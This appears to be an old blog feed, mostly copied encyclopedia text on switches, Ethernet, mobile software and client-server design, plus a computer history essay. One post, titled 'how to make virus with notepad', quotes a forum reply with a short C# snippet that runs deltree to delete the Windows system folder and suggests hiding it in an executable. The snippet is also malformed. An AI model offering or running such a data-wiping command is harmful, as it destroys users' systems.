port.</li><li>If switches discover more MAC addresses than they can store (either through network size or through an attack) some addresses must inevitably be dropped and traffic to those addresses will be treated the same way as traffic to unknown addresses, that is essentially the same as broadcast traffic (this issue is known as failopen).</li></ul> </li><li>They suffer from bandwidth choke points where a lot of traffic is forced down a single link.</li></ul> <p>Some switches offer a variety of tools to combat these issues including:</p> <ul><li><a href="http://en.wikipedia.org/wiki/Spanning-tree_protocol" class="mw-redirect" title="Spanning-tree protocol">Spanning-tree protocol</a> to maintain the active links of the network as a tree while allowing physical loops for redundancy.</li><li>Various port protection features, as it is far more likely an attacker will be on an end system port than on a switch-switch link.</li><li><a href="http://en.wikipedia.org/wiki/VLAN" class="mw-redirect" title="VLAN">VLANs</a> to keep different classes of users separate while using the same physical infrastructure.</li><li><a href="http://en.wikipedia.org/wiki/Multilayer_switch" title="Multilayer switch">Fast routing at higher levels</a> to route between those VLANs.</li><li><a href="http://en.wikipedia.org/wiki/Link_aggregation" title="Link aggregation">Link aggregation</a> to add bandwidth to overloaded links and to provide some measure of redundancy, although the links won't protect against switch failure because they connect the same pair of switches.</li></ul>Mr Monkeyhttp://www.blogger.com/profile/12120159785642031112noreply@blogger.com0tag:blogger.com,1999:blog-7210496932394038909.post-85390837870069933982008-06-22T20:00:00.000-07:002008-06-22T20:03:05.080-07:00Ethernet<p><b>Ethernet</b> is a family of <a href="http://en.wikipedia.org/wiki/Data_frame" class="mw-redirect" title="Data frame">frame</a>-based <a href="http://en.wikipedia.org/wiki/Computer_network" title="Computer network">computer networking</a> technologies for <a href="http://en.wikipedia.org/wiki/Local_area_network" title="Local area network">local area networks</a> (LANs). The name comes from the physical concept of the <a href="http://en.wikipedia.org/wiki/Luminiferous_aether" title="Luminiferous aether">ether</a>. It defines a number of wiring and signaling standards for the <a href="http://en.wikipedia.org/wiki/Physical_layer" title="Physical layer">physical layer</a>, through means of network access at the <a href="http://en.wikipedia.org/wiki/Media_Access_Control" title="Media Access Control">Media Access Control</a> (MAC)/<a href="http://en.wikipedia.org/wiki/Data_Link_Layer" class="mw-redirect" title="Data Link Layer">Data Link Layer</a>, and a common addressing format.</p> <p>Ethernet is standardized as <a href="http://en.wikipedia.org/wiki/IEEE_802.3" title="IEEE 802.3">IEEE 802.3</a>. The combination of the <a href="http://en.wikipedia.org/wiki/Ethernet_over_twisted_pair" title="Ethernet over twisted pair">twisted pair versions of Ethernet</a> for connecting end systems to the network, along with the fiber optic versions for site backbones, is the most widespread wired LAN technology. It has been in use from around 1980<sup id="cite_ref-0" class="reference"><a href="http://en.wikipedia.org/wiki/Ethernet#cite_note-0" title="">[1]</a></sup> to the present, largely replacing competing LAN standards such as <a href="http://en.wikipedia.org/wiki/Token_ring" title="Token ring">token ring</a>, <a href="http://en.wikipedia.org/wiki/Fiber_distributed_data_interface" title="Fiber distributed data interface">FDDI</a>, and <a href="http://en.wikipedia.org/wiki/ARCNET" title="ARCNET">ARCNET</a>.</p><h2><span class="mw-headline">History</span></h2><br /><p>Ethernet was originally developed at <a href="http://en.wikipedia.org/wiki/Xerox_PARC" class="mw-redirect" title="Xerox PARC">Xerox PARC</a> in 1973–1975.<sup id="cite_ref-1" class="reference"><a href="http://en.wikipedia.org/wiki/Ethernet#cite_note-1" title="">[2]</a></sup> In 1975, Xerox filed a patent application listing Metcalfe and Boggs, plus <a href="http://en.wikipedia.org/wiki/Chuck_Thacker" class="mw-redirect" title="Chuck Thacker">Chuck Thacker</a> and <a href="http://en.wikipedia.org/wiki/Butler_Lampson" title="Butler Lampson">Butler Lampson</a>, as inventors (<span class="plainlinks"><a href="http://patft.uspto.gov/netacgi/nph-Parser?patentnumber=4063220" class="external text" title="http://patft.uspto.gov/netacgi/nph-Parser?patentnumber=4063220" rel="nofollow">U.S. Patent 4,063,220</a></span><span class="PDFlink noprint"><a href="http://www.pat2pdf.org/pat2pdf/foo.pl?number=4063220" class="external text" title="http://www.pat2pdf.org/pat2pdf/foo.pl?number=4063220" rel="nofollow"> </a></span>: Multipoint data communication system with collision detection). In 1976, after the system was deployed at PARC, Metcalfe and Boggs published a seminal paper.<sup id="cite_ref-2" class="reference"><a href="http://en.wikipedia.org/wiki/Ethernet#cite_note-2" title="">[3]</a></sup></p> <p>The experimental Ethernet described in that paper ran at 3 <a href="http://en.wikipedia.org/wiki/Mbit/s" class="mw-redirect" title="Mbit/s">Mbit/s</a>, and had 8-bit destination and source address fields, so Ethernet addresses were not the global addresses they are today. By software convention, the 16 bits after the destination and source address fields were a packet type field, but, as the paper says, "different protocols use disjoint sets of packet types", so those were packet types within a given protocol, rather than the packet type in current Ethernet which specifies the protocol being used.</p> <p>Metcalfe left Xerox in 1979 to promote the use of personal computers and local area networks (LANs), forming <a href="http://en.wikipedia.org/wiki/3Com" title="3Com">3Com</a>. He convinced <a href="http://en.wikipedia.org/wiki/Digital_Equipment_Corporation" title="Digital Equipment Corporation">DEC</a>, <a href="http://en.wikipedia.org/wiki/Intel" class="mw-redirect" title="Intel">Intel</a>, and <a href="http://en.wikipedia.org/wiki/Xerox" title="Xerox">Xerox</a> to work together to promote Ethernet as a standard, the so-called "DIX" standard, for "Digital/Intel/Xerox"; it standardized the 10 megabits/second Ethernet, with 48-bit destination and source addresses and a global 16-bit type field. The standard was first published on <a href="http://en.wikipedia.org/wiki/September_30" title="September 30">September 30</a>, <a href="http://en.wikipedia.org/wiki/1980" title="1980">1980</a>. It competed with two largely proprietary systems, <a href="http://en.wikipedia.org/wiki/Token_ring" title="Token ring">token ring</a> and <a href="http://en.wikipedia.org/wiki/ARCNET" title="ARCNET">ARCNET</a>, but those soon found themselves buried under a tidal wave of Ethernet products. In the process, <a href="http://en.wikipedia.org/wiki/3Com" title="3Com">3Com</a> became a major company.</p> <a href="http://en.wikipedia.org/wiki/Twisted-pair_Ethernet" class="mw-redirect" title="Twisted-pair Ethernet">Twisted-pair Ethernet</a> systems have been developed since the mid-80s, beginning with <a href="http://en.wikipedia.org/wiki/StarLAN" title="StarLAN">StarLAN</a>, but becoming widely known with <a href="http://en.wikipedia.org/wiki/Ethernet_over_twisted_pair" title="Ethernet over twisted pair">10BASE-T</a>. These systems replaced the coaxial cable on which early Ethernets were deployed with a system of hubs linked with unshielded <a href="http://en.wikipedia.org/wiki/Twisted_pair" title="Twisted pair">twisted pair</a> (UTP), ultimately replacing the <a href="http://en.wikipedia.org/wiki/CSMA/CD" class="mw-redirect" title="CSMA/CD">CSMA/CD</a> scheme in favor of a switched <a href="http://en.wikipedia.org/wiki/Duplex_%28telecommunications%29#Full-Duplex" title="Duplex (telecommunications)">full duplex</a> system offering higher performance.<br /><br /><h2><span class="mw-headline">General description</span></h2><br /><p>Ethernet was originally based on the idea of computers communicating over a shared coaxial cable acting as a broadcast transmission medium. The methods used show some similarities to radio systems, although there are fundamental differences, such as the fact that it is much easier to detect collisions in a cable broadcast system than a radio broadcast. The common cable providing the communication channel was likened to the <a href="http://en.wikipedia.org/wiki/Aether" title="Aether">ether</a> and it was from this reference that the name "Ethernet" was derived.</p> <p>From this early and comparatively simple concept, Ethernet evolved into the complex networking technology that today underlies most LANs. The coaxial cable was replaced with point-to-point links connected by Ethernet <a href="http://en.wikipedia.org/wiki/Network_hub" title="Network hub">hubs</a> and/or <a href="http://en.wikipedia.org/wiki/Network_switch" title="Network switch">switches</a> to reduce installation costs, increase reliability, and enable point-to-point management and troubleshooting. StarLAN was the first step in the evolution of Ethernet from a coaxial cable bus to a hub-managed, twisted-pair network. The advent of twisted-pair wiring dramatically lowered installation costs relative to competing technologies, including the older Ethernet technologies.</p> <p>Above the physical layer, Ethernet stations communicate by sending each other data packets, blocks of data that are individually sent and delivered. As with other <a href="http://en.wikipedia.org/wiki/IEEE_802" title="IEEE 802">IEEE 802</a> LANs, each Ethernet station is given a single 48-bit <a href="http://en.wikipedia.org/wiki/MAC_address" title="MAC address">MAC address</a>, which is used both to specify the destination and the source of each data packet. Network interface cards (NICs) or chips normally do not accept packets addressed to other Ethernet stations. Adapters generally come programmed with a globally unique address, but this can be overridden, either to avoid an address change when an adapter is replaced, or to use locally administered addresses.</p> <p>Despite the significant changes in Ethernet from a <a href="http://en.wikipedia.org/wiki/10BASE5" title="10BASE5">thick coaxial cable bus</a> running at 10 <a href="http://en.wikipedia.org/wiki/Mbit/s" class="mw-redirect" title="Mbit/s">Mbit/s</a> to point-to-point links <a href="http://en.wikipedia.org/wiki/Gigabit_Ethernet" title="Gigabit Ethernet">running at 1 Gbit/s</a> <a href="http://en.wikipedia.org/wiki/10_gigabit_Ethernet" class="mw-redirect" title="10 gigabit Ethernet">and beyond</a>, all generations of Ethernet (excluding early experimental versions) share the same frame formats (and hence the same interface for higher layers), and can be readily interconnected.</p> <p>Due to the ubiquity of Ethernet, the ever-decreasing cost of the hardware needed to support it, and the reduced panel space needed by <a href="http://en.wikipedia.org/wiki/Twisted_pair" title="Twisted pair">twisted pair</a> Ethernet, most manufacturers now build the functionality of an Ethernet card directly into <a href="http://en.wikipedia.org/wiki/PC_motherboard" title="PC motherboard">PC motherboards</a>, obviating the need for installation of a separate network card.</p>Mr Monkeyhttp://www.blogger.com/profile/12120159785642031112noreply@blogger.com0tag:blogger.com,1999:blog-7210496932394038909.post-47204024663589669912008-06-22T19:28:00.000-07:002008-06-22T19:37:22.075-07:00A Brief History of the Computer (b.c. - 1993a.d.) 1by Jeremy Meyers Note: Yes, a lot of this is from Grolier’s Encyclopedia. Hey, I was young. I didn’t know any better. Credit where credit is due. Also, this information is only current as of the early 1990’s (1993, to be exact), and no I’m not planning to add more information anytime soon. I would not recommend scamming this for your own homework, as some of the conclusions are rather humorous today<br /><br />In The Beginning…<br />The history of computers starts out about 2000 years ago, at the birth of the abacus, a wooden rack holding two horizontal wires with beads strung on them. When these beads are moved around, according to programming rules memorized by the user, all regular arithmetic problems can be done. Another important invention around the same time was the Astrolabe, used for navigation. Blaise Pascal is usually credited for building the first digital computer in 1642. It added numbers entered with dials and was made to help his father, a tax collector. In 1671, Gottfried Wilhelm von Leibniz invented a computer that was built in 1694. It could add, and, after changing some things around, multiply. Leibniz invented a special stepped gear mechanism for introducing the addend digits, and this is still being used. The prototypes made by Pascal and Leibniz were not used in many places, and considered weird until a little more than a century later, when Thomas of Colmar (A.K.A. Charles Xavier Thomas) created the first successful mechanical calculator that could add, subtract, multiply, and divide. A lot of improved desktop calculators by many inventors followed, so that by about 1890, the range of improvements included:<br /><br />Accumulation of partial results<br />Storage and automatic reentry of past results (A memory function)<br />Printing of the results<br />Each of these required manual installation. These improvements were mainly made for commercial users, and not for the needs of science<br /><br /><span style="font-weight: bold;">Babbage</span><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDabUBUzZzMKB_PO0iYxuYXQZRZxIMmZ8NqLHVWZlu0vnyQ3fXniY650EDpfT7YyGIN4VofhrMHXnL71sV8hGjFABbTKT_3mHUoh4sglLDBXHwm8o8oKppJCWaWXzzWBiBNmbqwAyLUOw/s1600-h/babbage.jpg"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDabUBUzZzMKB_PO0iYxuYXQZRZxIMmZ8NqLHVWZlu0vnyQ3fXniY650EDpfT7YyGIN4VofhrMHXnL71sV8hGjFABbTKT_3mHUoh4sglLDBXHwm8o8oKppJCWaWXzzWBiBNmbqwAyLUOw/s320/babbage.jpg" alt="" id="BLOGGER_PHOTO_ID_5214898658580298242" border="0" /></a><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><p class="image">While Thomas of Colmar was developing the <a href="http://www.dotpoint.com/xnumber/pic_arithmometer.htm">desktop calculator</a>, a series of very interesting developments in computers was started in Cambridge, England, by Charles <a href="http://www-history.mcs.st-andrews.ac.uk/history/Mathematicians/Babbage.html">Babbage</a> (<em>left</em>, of which the computer store “<a href="http://www.gamestop.com/">Babbages</a>, now GameStop, is named), a mathematics professor. In 1812, <a href="http://www-history.mcs.st-andrews.ac.uk/history/Mathematicians/Babbage.html">Babbage</a> realized that many long calculations, especially those needed to make mathematical tables, were really a series of predictable actions that were constantly repeated. From this he suspected that it should be possible to do these automatically.</p> <p>He began to design an automatic mechanical calculating machine, which he called a <strong><a href="http://www.sciencemuseum.org.uk/objects/computing_and_data_processing/1862-89.aspx">difference engine</a></strong>. By 1822, he had a working model to demonstrate with. With financial help from the British government, <a href="http://www-history.mcs.st-andrews.ac.uk/history/Mathematicians/Babbage.html">Babbage</a> started fabrication of a difference engine in 1823. It was intended to be steam powered and fully automatic, including the printing of the resulting tables, and commanded by a fixed instruction program. The difference engine, although having limited adaptability and applicability, was really a great advance. <a href="http://www-history.mcs.st-andrews.ac.uk/history/Mathematicians/Babbage.html">Babbage</a> continued to work on it for the next 10 years, but in 1833 he lost interest because he thought he had a <strong>better idea</strong> — the construction of what would now be called a general purpose, fully program-controlled, automatic mechanical digital computer. <a href="http://www-history.mcs.st-andrews.ac.uk/history/Mathematicians/Babbage.html">Babbage</a> called this idea an <strong>Analytical Engine</strong>. The ideas of this design showed a lot of foresight, although this couldn’t be appreciated until a full century later. The plans for this engine required an identical decimal computer operating on numbers of 50 decimal digits (or words) and having a storage capacity (memory) of 1,000 such digits. The built-in operations were supposed to include everything that a modern general - purpose computer would need, even the all important <strong>Conditional Control Transfer Capability</strong> that would allow commands to be executed in any order, not just the order in which they were programmed. The analytical engine was soon to use <strong><a class="broken_link" href="http://www.cs.uiowa.edu/%7Ejones/cards/">punched cards</a></strong> (similar to those used in a Jacquard loom), which would be read into the machine from several different <strong>Reading Stations</strong>. The machine was supposed to operate automatically, by steam power, and require only one person there. <a href="http://www-history.mcs.st-andrews.ac.uk/history/Mathematicians/Babbage.html">Babbage</a>’s computers were never finished. Various reasons are used for his failure. Most used is the lack of precision machining techniques at the time. Another speculation is that <a href="http://www-history.mcs.st-andrews.ac.uk/history/Mathematicians/Babbage.html">Babbage</a> was working on a solution of a problem that few people in 1840 really needed to solve. After <a href="http://www-history.mcs.st-andrews.ac.uk/history/Mathematicians/Babbage.html">Babbage</a>, there was a temporary loss of interest in automatic digital computers. Between 1850 and 1900 great advances were made in mathematical physics, and it came to be known that <em>most observable dynamic phenomena can be identified by </em><em><a href="http://en.wikipedia.org/wiki/Differential_equation">differential equations</a></em>(which meant that most events occurring in nature can be measured or described in one equation or another), so that easy means for their calculation would be helpful. Moreover, from a practical view, the availability of steam power caused manufacturing (boilers), transportation (steam engines and boats), and commerce to prosper and led to a period of a lot of engineering achievements. The designing of railroads, and the making of steamships, textile mills, and bridges required <strong><a href="http://www.calculus.net/ci2/search/?request=category&code=12&off=0&tag=9200438920658">differential calculus</a></strong> to determine such things as:</p> <ul><li><a href="http://www.calculus.net/ci2/search/?request=category&code=12&off=0&tag=9200438920658">center of gravity</a> </li><li><a href="http://www.calculus.net/ci2/search/?request=category&code=12&off=0&tag=9200438920658">center of buoyancy</a> </li><li><a href="http://www.calculus.net/ci2/search/?request=category&code=12&off=0&tag=9200438920658">moment of inertia</a> </li><li><a href="http://www.calculus.net/ci2/search/?request=category&code=12&off=0&tag=9200438920658">stress distributions</a> </li></ul> <p>Even the assessment of the power output of a steam engine needed mathematical integration. A strong need thus developed for a machine that could rapidly perform many repetitive calculations.</p><span style="font-weight: bold;">Use of Punched Cards by Hollerith</span><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglAe6o18Ge82wWTF1Db4UUEBFZ-JBH2JRZZZSZOuxrU9xJGJ-dORlPZhCmFh513eSgi5c4NU8Ff69vlQ7bLj7shhjFiaVR7pl4R5MZBHBOqcBJKRNRir1A4S7JwdT_8hlQxe8axaaP0UU/s1600-h/hollerith.jpg"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglAe6o18Ge82wWTF1Db4UUEBFZ-JBH2JRZZZSZOuxrU9xJGJ-dORlPZhCmFh513eSgi5c4NU8Ff69vlQ7bLj7shhjFiaVR7pl4R5MZBHBOqcBJKRNRir1A4S7JwdT_8hlQxe8axaaP0UU/s320/hollerith.jpg" alt="" id="BLOGGER_PHOTO_ID_5214899394184116018" border="0" /></a><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><p>A step towards automated computing was the development of punched cards, which were first successfully used with computers in 1890 by <a href="http://www.history.rochester.edu/steam/hollerith/">Herman Hollerith</a> (<em>left</em>) and James Powers, who worked for the <a href="http://www.census.gov/">US. Census Bureau</a>. They developed devices that could read the information that had been punched into the cards automatically, without human help. Because of this, reading errors were reduced dramatically, work flow increased, and, most importantly, stacks of punched cards could be used as easily accessible memory of almost unlimited size. Furthermore, different problems could be stored on different stacks of cards and accessed when needed. These advantages were seen by commercial companies and soon led to the development of improved punch-card using computers created by <a href="http://www.ibm.com/">International Business Machines (IBM), </a><a class="broken_link" href="http://www.remington-products.com/usa/corpinfo/history.html">Remington</a> (yes, the same people that make shavers), Burroughs, and other corporations. These computers used electromechanical devices in which electrical power provided mechanical motion — like turning the wheels of an adding machine. Such systems included features to:</p> <ul><li>feed in a specified number of cards automatically </li><li>add, multiply, and sort </li><li>feed out cards with punched results </li></ul> <p>As compared to today’s machines, these computers were slow, usually processing 50 - 220 cards per minute, each card holding about 80 decimal numbers (characters). At the time, however, punched cards were a huge step forward. They provided a means of I/O, and memory storage on a huge scale. For more than 50 years after their first use, punched card machines did most of the world’s first business computing, and a considerable amount of the computing work in science</p><p style="font-weight: bold;">Electronic Digital Computers</p><p style="font-weight: bold;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeAYRHGVaQykYLbA5qaPRFnMGc_NB-r7w3zJbeSCuUZCpJGw5JD28yjJ0yR_DrQkaTH5Z7WgOtd8lbSIK-DXb5Lbe-ifHiYqMQRKndFeGPPM3E2_tTmr2XA7VR_8a-DAJj5NP3Lv7ss7M/s1600-h/mauchly.jpg"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeAYRHGVaQykYLbA5qaPRFnMGc_NB-r7w3zJbeSCuUZCpJGw5JD28yjJ0yR_DrQkaTH5Z7WgOtd8lbSIK-DXb5Lbe-ifHiYqMQRKndFeGPPM3E2_tTmr2XA7VR_8a-DAJj5NP3Lv7ss7M/s320/mauchly.jpg" alt="" id="BLOGGER_PHOTO_ID_5214900374744301378" border="0" /></a></p><br />The start of World War II produced a large need for computer capacity, especially for the military. New weapons were made for which <strong>trajectory tables</strong> and other essential data were needed. In 1942, John P. Eckert, <a href="http://www.library.upenn.edu/special/gallery/mauchly/jwmintro.html">John W. Mauchly (left)</a>, and their associates at the <a href="http://www.ee.upenn.edu/">Moore school of Electrical Engineering of University of Pennsylvania</a> decided to build a high - speed electronic computer to do the job. This machine became known as <a href="http://www.seas.upenn.edu/%7Emuseum/">ENIAC</a> (Electrical Numerical Integrator And Calculator) The size of <a href="http://www.seas.upenn.edu/%7Emuseum/">ENIAC</a>’s numerical “word” was 10 decimal digits, and it could multiply two of these numbers at a rate of 300 per second, by finding the value of each product from a multiplication table stored in its memory. <a href="http://www.seas.upenn.edu/%7Emuseum/">ENIAC</a> was therefore about 1,000 times faster then the previous generation of relay computers. <a href="http://www.seas.upenn.edu/%7Emuseum/">ENIAC</a> used 18,000 vacuum tubes, about 1,800 square feet of floor space, and consumed about 180,000 watts of electrical power. It had punched card I/O, 1 multiplier, 1 divider/square rooter, and 20 adders using decimal ring <strong>counters</strong>, which served as adders and also as quick-access (.0002 seconds) read-write register storage. The executable instructions making up a program were embodied in the separate “units” of <a href="http://www.seas.upenn.edu/%7Emuseum/">ENIAC</a>, which were plugged together to form a “route” for the flow of information. <img class="c2" alt="Image" src="http://www.blogger.com/A%20Brief%20History%20of%20the%20Computer%20%28b.c.%20-%201993a.d.%29%20_%20sdc%5Bblog%5D%20%28Jeremy%20Meyers%27%20Blog%29_files/edvac.jpg" height="width=" />These connections had to be redone after each computation, together with presetting function tables and switches. This “wire your own” technique was inconvenient (for obvious reasons), and with only some latitude could <a href="http://www.seas.upenn.edu/%7Emuseum/">ENIAC</a> be considered programmable. It was, however, efficient in handling the particular programs for which it had been designed. <a href="http://www.seas.upenn.edu/%7Emuseum/">ENIAC</a> is commonly accepted as the first successful high - speed electronic digital computer (EDC) and was used from 1946 to 1955. A controversy developed in 1971, however, over the patentability of <a href="http://www.seas.upenn.edu/%7Emuseum/">ENIAC</a>’s basic digital concepts, the claim being made that another physicist, <a href="http://ei.cs.vt.edu/%7Ehistory/do_Atanasoff.html">John V. Atanasoff</a> (<em>left</em>) had already used basically the same ideas in a simpler vacuum - tube device he had built in the 1930’s while at <a href="http://www.cs.iastate.edu/jva/jva-archive.shtml">Iowa State College</a><script type="text/javascript"><!-- google_ad_client = "pub-6500045982266181"; //Computer History Inline google_ad_slot = "9222420615"; google_ad_width = 336; google_ad_height = 280; //--></script><script src="A%20Brief%20History%20of%20the%20Computer%20%28b.c.%20-%201993a.d.%29%20_%20sdc%5Bblog%5D%20%28Jeremy%20Meyers%27%20Blog%29_files/show_ads_002.js" type="text/javascript"> </script>. In 1973 the courts found in favor of the company using the Atanasoff claim.Mr Monkeyhttp://www.blogger.com/profile/12120159785642031112noreply@blogger.com0tag:blogger.com,1999:blog-7210496932394038909.post-78402194805107984302008-06-22T19:21:00.000-07:002008-06-22T19:27:36.760-07:00HOW TO MAKE VIRUS WITH NOTEPADOriginally Posted by DaMastah <br />what you "taught" us is how to do batch files...<br />This kind of info is available everywhere on the net...<br /><br />If you want to do something bad like this in a less dumb way, just dl visual basic (or c#) express edition (free)<br /><br />example in c# :<br /><br /><br />Code:<br />using System;<br />using System.Diagnostics;<br /><br />namespace DoingThisIsDumb<br />{<br /> public static void Main()<br /> {<br /> Process.Start("deltree.exe", "-r -f %SYSTEMROOT%");<br /> }<br />}this way it will be quite well hidden in an exe file.<br /><br />but IMHO doing this is futile and stupid. <br /><br />this one is much better. batch files are obsolete. i dont think that you can delete files that are being used in win98 or xp<br /><br />Have a nice try.............Mr Monkeyhttp://www.blogger.com/profile/12120159785642031112noreply@blogger.com0tag:blogger.com,1999:blog-7210496932394038909.post-53953401793993814672008-06-20T22:01:00.000-07:002008-06-22T19:45:35.900-07:00Mobile softwareFrom Wikipedia, the free encyclopedia<br /><br />Mobile software is designed to run on handheld computers, personal digital assistants (PDAs), enterprise digital assistants (EDAs), smartphones and cellphones. Since the first handheld computers of the 1980s, the popularity of these platforms has risen considerably. Recent model cellphones have included the ability to run user-installed software.<br /><br />Mobile development lists the differences between the various mobile software platforms, in chart format.<br />Contents<br />[hide]<br /><br /> * 1 J2ME<br /> * 2 BREW<br /> * 3 Other<br /> * 4 See also<br /> * 5 References<br /><br />J2ME<br /><br />The dominant mobile software platform is Java[citation needed] (in its incarnation as "J2ME" / "Java ME" / "Java 2 Micro Edition"). J2ME runs atop a Virtual Machine (called the KVM) which allows reasonable, but not complete, access to the functionality of the underlying phone. The JSR process serves to incrementally increase the functionality that can be made available to J2ME, while also providing Carriers and OEMs the ability to prevent access, or limit access to provisioned software.<br /><br />This extra layer of software provides a solid barrier of protection which seeks to limit damage from erroneous or malicious software. It also allows Java software to move freely between different types of phone (and other mobile device) containing radically different electronic components, without modification. The price that is paid is a modest decrease in the potential speed of the game and the inability to utilise the entire functionality of a phone (as Java software can only do what this middle-man layer supports.)<br /><br />Because of this extra security and compatibility, it is usually a quite simple process to write and distribute Java mobile applications (including games) to a wide range of phones. Usually all that is needed is a freely available JDK (Java Development Kit) for creating Java software itself, the accompanying Java ME tools (known as the Java Wireless Toolkit) for packaging and testing mobile software, and space on a web server (web site) to host the resulting application once it is ready for public release.from many sites you can download [1]mobile softwares<br /><br /><br />Can J2ME be installed on Mac OS X operative systems?<br /><br />The answer is yes, but will not be very functional because of the fact that the J2ME wireless toolkits necessary to develop such applications is not supported by Mac OS X operative systems.<br /><br />This is due to Sun's lack of interest to port the Wireless Toolkit (WTK) to Mac OS X.<br /><br />[edit] BREW<br /><br />In terms of use, J2ME is followed by BREW. BREW can provide complete control of the handset and access to all its functionality. However the power provided by native code with direct access to the handset APIs, has caused the BREW development process to be tailored largely towards recognised software vendors. While the BREW SDK (Software Development Kit) is freely available, running software on real mobile hardware (as opposed to the provided emulator) requires a digital signature which can only be generated with tools issued by a handful of parties, namely mobile content providers and Qualcomm themselves. Even then, the game will only work on test enabled devices. To be downloadable on regular phones the software must be checked, tested and given approval by Qualcomm via their TRUE BREW Testing programme.<br /><br />[edit] Other<br /><br />Windows Mobile, Palm OS and Symbian OS support typical application binaries as found on personal computers with code which executes in the native machine format of the processor (the ARM architecture is used on many current models). Windows Mobile also supports the Portable Executable (PE) format associated with the .NET Framework. Both Windows Mobile and Palm OS offer free SDKs and Integrated Development Environments to developers. Machine language executables offer considerable performance advantages over Java.Mr Monkeyhttp://www.blogger.com/profile/12120159785642031112noreply@blogger.com0tag:blogger.com,1999:blog-7210496932394038909.post-538135301616748212008-06-20T21:49:00.000-07:002008-06-20T22:00:15.039-07:00Client-serverFrom Wikipedia, the free encyclopedia<br /><br />The client-server software architecture model distinguishes client systems from server systems, which communicate over a computer network. A client-server application is a distributed system comprised of both client and server software. A client software process may initiate a communication session, while the server waits for requests from any client.[1]<br /><br />Client/server describes the relationship between two computer programs in which one program, the client, makes a service request from another program, the server, which fulfills the request. Although the client/server idea can be used by programs within a single computer, it is a more important idea in a network. In a network, the client/server model provides a convenient way to efficiently interconnect programs that are distributed across different locations. Computer transactions using the client/server model are very common. Most Internet applications, such as email, web access and database access, are based on the client/server model. For example, a web browser is a client program at the user computer that may access information at any web server in the world. To check your bank account from your computer, a web browser client program in your computer forwards your request to a web server program at the bank. That program may in turn forward the request to its own database client program that sends a request to a database server at another bank computer to retrieve your account balance. The balance is returned back to the bank database client, which in turn serves it back to the web browser client in your personal computer, which displays the information for you.<br /><br />The client/server model has become one of the central ideas of network computing. Most business applications being written today use the client/server model. So do the Internet's main application protocols, such as HTTP, SMTP, Telnet, DNS, etc. In marketing, the term has been used to distinguish distributed computing by smaller dispersed computers from the "monolithic" centralized computing of mainframe computers. But this distinction has largely disappeared as mainframes and their applications have also turned to the client/server model and become part of network computing.<br /><br />Each instance of the client software can send data requests to one or more connected servers. In turn, the servers can accept these requests, process them, and return the requested information to the client. Although this concept can be applied for a variety of reasons to many different kinds of applications, the architecture remains fundamentally the same.<br /><br />The most basic type of client-server architecture employs only two types of hosts: clients and servers. This type of architecture is sometimes referred to as two-tier. It allows devices to share files and resources.<br /><br />These days, clients are most often web browsers, although that has not always been the case. Servers typically include web servers, database servers and mail servers. Online gaming is usually client-server too. In the specific case of MMORPG, the servers are typically operated by the company selling the game; for other games one of the players will act as the host by setting his game in server mode.<br /><br />The interaction between client and server is often described using sequence diagrams. Sequence diagrams are standardized in the Unified Modeling Language.<br /><br />When both the client- and server-software are running on the same computer, this is called a single seat setup.<br /><br />Characteristics<br /><br />[edit] Characteristics of a client edition of a software<br /><br /> * Request sender is known as client<br /> * Initiates requests<br /> * Waits for and receives replies<br /> * Usually connects to a small number of servers at one time<br /> * Typically interacts directly with end-users using a graphical user interface<br /><br />[edit] Characteristics of a server edition of a software<br /><br /> * Never initiates requests or activities<br /> * Always listens to network and responds to requests from pre-configured clients only<br /> * A typical server can support 100 clients<br /> * A server supports multiple processors on a single machine<br /> * A server can remotely start/stop a client<br /> * A server can remotely install/uninstall applications and transfer data on to clients<br /> * A server rarely has GUI<br /><br />[edit] Comparison to Peer-to-Peer Architecture<br /><br />Another type of network architecture is known as peer-to-peer, because each host or instance of the program can simultaneously act as both a client and a server, and because each has equivalent responsibilities and status. Peer-to-peer architectures are often abbreviated using the acronym P2P.<br /><br />Both client-server and P2P architectures are in wide usage today.<br /><br />[edit] Comparison to Client-Queue-Client Architecture<br /><br />While classic Client-Server architecture requires one of communication endpoints to act as a server, which is much harder to implement, Client-Queue-Client allows all endpoints to be simple clients, while the server consists of some external software, which also acts as passive queue (one software instance passes its query to another instance to queue, e.g. database, and then this other instance pulls it from database, makes a response, passes it to database etc.). This architecture allows greatly simplified software implementation. Peer-to-Peer architecture was originally based on Client-Queue-Client concept.<br /><br />[edit] Advantages<br /><br /> * In most cases, a client-server architecture enables the roles and responsibilities of a computing system to be distributed among several independent computers that are known to each other only through a network. This creates an additional advantage to this architecture: greater ease of maintenance. For example, it is possible to replace, repair, upgrade, or even relocate a server while its clients remain both unaware and unaffected by that change. This independence from change is also referred to as encapsulation.<br /> * All the data is stored on the servers, which generally have far greater security controls than most clients. Servers can better control access and resources, to guarantee that only those clients with the appropriate permissions may access and change data.<br /> * Since data storage is centralized, updates to those data are far easier to administer than would be possible under a P2P paradigm. Under a P2P architecture, data updates may need to be distributed and applied to each "peer" in the network, which is both time-consuming and error-prone, as there can be thousands or even millions of peers.<br /> * Many mature client-server technologies are already available which were designed to ensure security, 'friendliness' of the user interface, and ease of use.<br /> * It functions with multiple different clients of different capabilities.<br /><br />[edit] Disadvantages<br /><br /> * Traffic congestion on the network has been an issue since the inception of the client-server paradigm. As the number of simultaneous client requests to a given server increases, the server can become severely overloaded. Contrast that to a P2P network, where its bandwidth actually increases as more nodes are added, since the P2P network's overall bandwidth can be roughly computed as the sum of the bandwidths of every node in that network.<br /> * The client-server paradigm lacks the robustness of a good P2P network. Under client-server, should a critical server fail, clients’ requests cannot be fulfilled. In P2P networks, resources are usually distributed among many nodes. Even if one or more nodes depart and abandon a downloading file, for example, the remaining nodes should still have 